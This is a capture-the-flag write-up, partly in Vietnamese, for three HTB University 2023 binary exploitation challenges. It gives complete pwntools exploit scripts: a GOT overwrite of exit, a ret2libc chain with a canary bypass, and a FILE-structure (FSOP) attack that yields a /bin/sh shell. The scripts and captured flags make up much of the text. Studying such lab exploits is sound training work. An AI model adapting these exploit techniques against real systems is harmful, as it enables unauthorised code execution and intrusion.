# (writeup) HTB University 2023
## great old talisman
- basic file check
![image](https://hackmd.io/_uploads/rkNv3IGOa.png)
- check ida
![image](https://hackmd.io/_uploads/Skc61vfOa.png)
> **main()**
![image](https://hackmd.io/_uploads/H1VXevGd6.png)
> **read_flag()**
### analyse:
- nhập số **v3** rồi read vào ``talis[v3]`` 2 byte
![image](https://hackmd.io/_uploads/SJxIewMOp.png)
>0x4040a0
- nhìn thấy khi kết thúc chương trình, gọi đến **exit(1312)**
- tận dụng khả năng ghi trên mà thay đổi exit@GOT
### get flag
![image](https://hackmd.io/_uploads/ByJTlwGd6.png)
- script:
```python
from pwn import *
context.binary = exe = ELF('./great_old_talisman')
# p = process(exe.path)
p = remote('94.237.60.11',36842)
p.sendline(b'-4')
p.send(p32(exe.sym['read_flag'] & 0xffff))
p.interactive()
#HTB{th4nk_G0T_w3_h4v3_th15_t4l15m4n}
```
>HTB{th4nk_G0T_w3_h4v3_th15_t4l15m4n}
---
## zombienator
- basic file check
![image](https://hackmd.io/_uploads/r1uYWtQua.png)
- check ida
![image](https://hackmd.io/_uploads/BkBGQYm_T.png)
> **main()**
![image](https://hackmd.io/_uploads/rJK97KXdp.png)
> **create()**
> tạo chunk size tối đa 0x82
> control được index chunk : ``*(&z + num)``
> không thể nhập gì vào chunk
![image](https://hackmd.io/_uploads/H1uhmFmd6.png)
> **removez()**
> free không xoá ptr
![image](https://hackmd.io/_uploads/H1fkNtXua.png)
> **display()**
> in ra thôi
![image](https://hackmd.io/_uploads/Sy7WEFmOT.png)
> **attack()**
> lần này cho phép nhập trên stack với bug BOF
> kiểu nhập là ``%lf``
> sau đó **fclose(stderr)** và **fclose(stdout)**
> cuối cùng return
### analyse
- ở option cuối **attack()**, ta có thể chain payload để thực thi ret2libc
- payload sẽ ép kiểu về dạng ``%lf``
- về canary thì bypass bằng dấu ``.`` (chấm)
- tính toán vòng lặp:
```
v3[33] : 33 vòng buffer
34 canary
35 rbp
36 pop rdi
37 /bin/sh
38 system
#39 nếu bị xmm0
```
### leak libc
- vì là libc6 nên ta sẽ fill 9 chunk rồi free 8
- sau đó **display()** là leak được
![image](https://hackmd.io/_uploads/HkrSotQ_6.png)
### get flag
![image](https://hackmd.io/_uploads/rkTYF5mda.png)
- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./zombienator_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
ld = ELF('./ld-linux-x86-64.so.2',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*attack+210
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('localhost',1337)
else:
p = process(exe.path)
def add(size,idx):
sla(b'>> ', b'1')
sla(b'tier: ', str(size))
sla(b'(5-9): ', str(idx))
def delete(idx):
sla(b'>> ', b'2')
sla(b'position: ', str(idx))
def display():
sla(b'>> ', b'3')
def fmt(payload):
sla(b': ', str(struct.unpack('d', p64(payload))[0]))
for i in range(0,9):
add(0x80,i)
for j in range(0,8):
delete(j)
display()
p.recvuntil(b'[7]: ')
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - 0x219ce0
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
sla(b'>> ', b'4')
sla(b'attacks: ', b'39')
for i in range(35):
sla(b': ', b'.')
pop_rdi = libc.address + 0x000000000002a3e5
# GDB()
fmt(pop_rdi)
fmt(next(libc.search(b'/bin/sh\0')))
fmt(pop_rdi+1)
fmt(libc.sym['system'])
p.interactive()
#HTB{tc4ch3d_d0ubl3_numb3r5_4r3_0p}
```
>HTB{tc4ch3d_d0ubl3_numb3r5_4r3_0p}
---
## zombiedote
- basic file check
![image](https://hackmd.io/_uploads/HJKrZoXOp.png)
- check ida
![image](https://hackmd.io/_uploads/Bk22ZiXda.png)
>**main()**
![image](https://hackmd.io/_uploads/BJQJzo7u6.png)
>**create()**
>malloc với size lớn thoải mái
>vượt 0x20000 khả năng sẽ tạo mmap
![image](https://hackmd.io/_uploads/BJ4QMjQd6.png)
>**insert()**
>được **insert** 1 lần
>input không vượt quá size chunk tạo ra
![image](https://hackmd.io/_uploads/ByWrzjm_p.png)
>**edit()**
>được **edit** 2 lần
> maybe có lỗi OOB ở '%lu'
![image](https://hackmd.io/_uploads/BkHLfoXOa.png)
>**delete()**
>hàm sẽ **exit** chương trình
>không có **free**
![image](https://hackmd.io/_uploads/S11tziXua.png)
>**inspect()**
>tương tự hàm **edit()**, bug OOB ở '%lu' nhưng lần này sẽ leak cho ta dữ liệu
### analyse
- như ta đề cập trên, ở hàm **create()** sẽ có thể malloc lượng lớn size
- đồng nghĩa tạo mmap với bit_in_use là 0x2 ([xem thêm](https://hackmd.io/@trhoanglan04/SyKLQL1Pn#Chunks-v%C3%B9ng-nh%E1%BB%9B))
![image](https://hackmd.io/_uploads/By6Qnp9Op.png)
>malloc size 0x1000000
>input là 2097152 (0x200000) do còn nhân 8
![image](https://hackmd.io/_uploads/Hkaoh69up.png)
>trả về con trỏ không phải heap
>![image](https://hackmd.io/_uploads/SJyR36qdp.png)
### leak libc
- tiếp theo hoàn toàn có thể leak được libc nếu ta tận dụng bug OOB ở **inspect()**
- thì ta sẽ tận dụng leak ở stdout
- tính offset đến đó:
![image](https://hackmd.io/_uploads/Hyy6C6cuT.png)
>index = (0x1000ff0+stdout+8)/8
>cộng 8 do địa chỉ đầu là _flags (0xfbad)
>![image](https://hackmd.io/_uploads/BJjUyC5dT.png)
>offset_base = 0x2197e3
>offset sẽ khác trên server
```python
p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'samples: ',str(0x1000000//8).encode())
stdout = libc.sym['_IO_2_1_stdout_']
info("stdout: " + hex(stdout))
offset = 0x1000ff0
p.sendlineafter(b'>> ',b'5')
leak = offset + stdout + 8
p.sendlineafter(b'inspect: ',str(leak//8).encode())
```
- ngoài ra dữ liệu được leak sẽ ở dạng float nên cần convert về hex
```python
libc_leak = struct.unpack('Q', struct.pack('d', float(p.recvline()[:-1])))[0]
```
### IO_FILE struct attack
- vì đi kèm libc2.34 nên khả năng lấy shell ở hook hay ret là bất khả thi
- ta sẽ perform FSOP ở ``exit``, không thể fake vtable thì ở 2.34 đã có security check ([xem thêm](https://hackmd.io/@trhoanglan04/SJWrxsQs2#fake-vtable))
- perform ``exit`` cũng có nghĩa sẽ trigger option **delete()**
- khi ``exit`` được call đến, nó sẽ duyệt qua các std ở ``_IO_list_all``, nên ``_IO_list_all`` thay đổi thì sẽ execute fake file của mình
- ``_IO_list_all`` trỏ đến stderr ([xem thêm](https://hackmd.io/@trhoanglan04/SJWrxsQs2#overview))
- stderr thì có vtable trỏ đến ``__GI__IO_file_jumps``
![image](https://hackmd.io/_uploads/B1VF7A5da.png)
- trong ``__GI__IO_file_jumps`` khi ``exit`` được call đến sẽ đá động tới ``__overflow``
![image](https://hackmd.io/_uploads/B1AVEAqu6.png)
- tóm lại cần ow 2 thứ:
- fake file ở stderr
- _overflow = system
### fake file
- ``_flag`` là b'/bin/sh\0' tương ứng $rdi
- ``_IO_write_ptr`` > ``_IO_write_base``
- ``vtable`` = ``__GI__IO_file_jumps``
```python
__GI__IO_file_jumps = libc.sym['__GI__IO_file_jumps']
_IO_list_all = libc.sym['_IO_list_all']
system = libc.sym['system']
base = libc.address - offset
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b': ', str(28))
p.sendlineafter(b'): ', str(struct.unpack("d", b'/bin/sh\0')[0]).encode()) #0x0: _flags = /bin/sh\00, set rdi
for i in range(3):
p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x00))[0]).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x01))[0]).encode()) #0x20: _IO_write_base = 0x01
p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x02))[0]).encode()) #0x28: _IO_write_ptr = 0x02 > _IO_write_base
for i in range(21):
p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x00))[0]).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(__GI__IO_file_jumps))[0]).encode()) # 0xe8: vtable = __GI__IO_file_jumps , bypass IO_validate_vtable
```
- **edit()** thì sửa ``__GI__IO_file_jumps`` trỏ về fake file
```python
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b': ', str((_IO_list_all - base)//8).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(base))[0]).encode())
```
### _overflow
- tương tự khi ow vtable
```python
__overflow = __GI__IO_file_jumps + 0x18
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b': ', str((__overflow - base)//8).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(system))[0]).encode())
```
### get flag
![image](https://hackmd.io/_uploads/B13y5C9dp.png)
- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./zombiedote_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
ld = ELF('./ld-2.34.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*create+98
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('',)
else:
p = process(exe.path)
p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'samples: ',str(0x1000000//8).encode())
stdout = libc.sym['_IO_2_1_stdout_']
info("stdout: " + hex(stdout))
offset = 0x1000ff0
p.sendlineafter(b'>> ',b'5')
leak = offset + stdout + 8
p.sendlineafter(b'inspect: ',str(leak//8).encode())
p.recvuntil(b'): ')
libc_leak = struct.unpack('Q', struct.pack('d', float(p.recvline()[:-1])))[0]
libc.address = libc_leak - 0x2197e3
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
__GI__IO_file_jumps = libc.sym['__GI__IO_file_jumps']
_IO_list_all = libc.sym['_IO_list_all']
system = libc.sym['system']
base = libc.address - offset
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b': ', str(28))
p.sendlineafter(b'): ', str(struct.unpack("d", b'/bin/sh\0')[0]).encode()) #0x0: _flags = /bin/sh\00, set rdi
for i in range(3):
p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x00))[0]).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x01))[0]).encode()) #0x20: _IO_write_base = 0x01
p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x02))[0]).encode()) #0x28: _IO_write_ptr = 0x02 > _IO_write_base
for i in range(21):
p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x00))[0]).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(__GI__IO_file_jumps))[0]).encode()) # 0xe8: vtable = __GI__IO_file_jumps , bypass IO_validate_vtable
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b': ', str((_IO_list_all - base)//8).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(base))[0]).encode())
__overflow = __GI__IO_file_jumps + 0x18
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b': ', str((__overflow - base)//8).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(system))[0]).encode())
p.sendlineafter(b'>> ', b'3')
p.interactive()
#>HTB{y0u_r3tr13v3d_th3_r3s34rcH_n0t3s_4nd_s4v3d_u5_4ll}
```
>HTB{y0u_r3tr13v3d_th3_r3s34rcH_n0t3s_4nd_s4v3d_u5_4ll}